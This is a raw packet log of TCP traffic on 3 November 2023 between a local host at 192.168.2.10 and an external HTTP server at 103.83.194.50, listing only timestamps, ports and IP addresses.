Nov 3, 2023 18:53:43.838892937 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838933945 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.838954926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.838998079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839004040 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839047909 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839150906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839193106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839204073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839242935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839248896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839283943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839309931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839350939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839358091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839406013 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839433908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839483023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839503050 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839544058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839566946 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839595079 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839611053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839637041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839637995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839684010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839709997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839772940 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839781046 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839829922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839857101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839900970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839922905 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.839966059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.839993954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.840042114 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.840184927 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.840234041 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.840652943 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.840698004 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.840756893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.840804100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.840832949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.840873957 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.841233015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.841284037 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.841325045 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.841373920 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.841399908 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.841403961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.841449976 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.841639996 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.964972973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.964993000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965029955 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965069056 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965079069 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965116978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965141058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965145111 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965159893 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965205908 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965229034 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965267897 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965682983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965733051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965748072 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965792894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965801001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965832949 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965842009 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965879917 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.965882063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965931892 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.965965033 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966006994 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966007948 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966080904 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966085911 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966125965 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966139078 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966154099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966180086 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966208935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966223001 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966268063 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966275930 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966327906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966329098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966370106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966381073 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966419935 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966419935 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966476917 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966495991 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966521978 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966532946 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966561079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966581106 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966607094 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966620922 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966660023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966696024 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966710091 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966737032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966754913 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966766119 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966808081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966834068 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966872931 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966886997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966924906 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.966943979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966962099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.966981888 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967001915 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967062950 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967077017 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967102051 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967130899 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967149019 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967174053 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967199087 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967243910 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967268944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967318058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967319965 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967358112 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967376947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967417002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967430115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967468023 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967554092 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967597961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967618942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967658043 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967675924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967717886 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967773914 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967813015 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967842102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967880964 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967894077 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967907906 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.967930079 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967947960 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.967982054 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968019962 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968031883 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968071938 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968092918 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968133926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968144894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968156099 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968177080 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968203068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968235970 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968276978 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968277931 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968317986 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968317986 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968358040 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968377113 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968414068 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968429089 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968465090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968465090 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968502045 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968566895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968604088 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968624115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968637943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968668938 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968704939 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968708992 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968734980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968746901 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968781948 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968813896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968847990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968853951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968889952 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968904018 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.968966961 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.968971014 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969000101 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969010115 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969041109 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969053030 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969089031 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969116926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969172001 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969177008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969217062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969221115 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969259977 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969263077 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969305038 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969326973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969345093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969367027 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969403028 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969413042 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969439983 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969461918 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969489098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969513893 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969553947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969580889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969620943 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969647884 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969686985 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969702959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969741106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969759941 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969809055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969814062 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969827890 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969854116 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969881058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969892979 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969939947 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.969960928 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.969990015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970000982 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970036983 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970061064 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970074892 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970101118 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970128059 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970139980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970179081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970201015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970227003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970237970 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970271111 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970280886 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970321894 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970357895 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970392942 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970395088 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970441103 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970573902 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970613003 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970624924 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970638990 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970660925 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970690012 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970700026 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970741034 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970757008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970796108 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970818043 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970855951 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970874071 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970911980 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970925093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970937967 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.970959902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970979929 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.970999956 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971039057 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971065044 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971106052 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971133947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971170902 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971184015 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971221924 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971236944 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971273899 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971282959 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971302032 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971319914 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971339941 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971376896 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971416950 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971426964 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971467972 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971488953 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971524000 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971534014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971563101 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971565962 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971605062 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971667051 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971707106 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971733093 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971748114 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971771002 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971788883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971798897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971834898 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971904039 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.971949100 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.971968889 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972008944 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972018003 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972054958 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972070932 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972100973 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972110033 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972145081 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972151995 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972193956 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972418070 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972460032 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972474098 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972517014 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972522020 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972548008 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972570896 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972608089 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972615957 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972655058 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972662926 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972703934 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972718954 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972758055 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972769976 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972810030 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972820997 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972860098 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972867966 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972909927 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972913980 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972954035 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.972969055 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.972992897 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973006010 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973040104 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973099947 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973115921 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973138094 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973157883 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973165989 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973179102 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973205090 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973225117 CET	49711	80	192.168.2.10	103.83.194.50
Nov 3, 2023 18:53:43.973254919 CET	80	49711	103.83.194.50	192.168.2.10
Nov 3, 2023 18:53:43.973294973 CET	80	49711	103.83.194.50	192.168.2.10
